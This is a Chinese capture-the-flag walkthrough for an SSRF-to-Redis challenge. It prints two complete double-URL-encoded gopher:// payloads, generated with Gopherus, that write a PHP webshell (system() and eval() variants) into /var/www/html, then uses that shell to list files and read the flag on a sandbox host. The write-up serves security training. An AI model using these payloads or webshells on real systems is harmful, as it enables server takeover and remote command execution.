目录
什么是Redis协议
Redis协议,也被称为 RESP (Redis Serialization Protocol),它是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。可以说是最简单的一种传输协议。
CTF打靶
启动环境
访问环境
利用工具gopherus来生成payload
工具下载地址:https://github.com/tarunkant/Gopherus.git
python2 gopherus.py --exploit redis
这里我们使用PHPshell 并且使用默认路径,生成代码的文件名为 shell.php
执行系统命令读取
我们先来看工具生成的代码原始模样
它使用的是 system 也就是能执行系统命令,使用蚁剑是连接不成功的
将工具生成的代码再进行一次URL编码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
拼接进行访问,等待上传,速度有点慢
上传后,界面是这个样子
这时我们访问shell.php(工具默认生成的文件名)
由于shell.php是使用get传参cmd为变量名,所以这里拼接 ?cmd=ls / 进行访问
http://challenge-b33bf5c8b7b97905.sandbox.ctfhub.com:10800/shell.php?cmd=ls /
进一步读取flag
flag获取成功
使用蚁剑连接读取
还是使用工具生成,生成shell的时候 我们使用自己写入的一句话木马
<?php @eval($_POST['cmd'])?>
将生成的代码在URL编码一次
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
拼接访问,等待文件上传,时间有点久
上传后界面还是这个样子
这时我们再拼接访问 shell.php
http://challenge-b33bf5c8b7b97905.sandbox.ctfhub.com:10800/shell.php
然后使用蚁剑进行连接
访问根目录,找到flag
坑点
- 不论采取哪个方法,使用 gopherus.py编码后要再进行一次URL编码
- 注意工具自动生成的shell是执行系统命令的,使用蚁剑是连接不上的
- 工具生成shell的文件名为 shell.php
- 注意访问的是上传后的文件,即:shell.php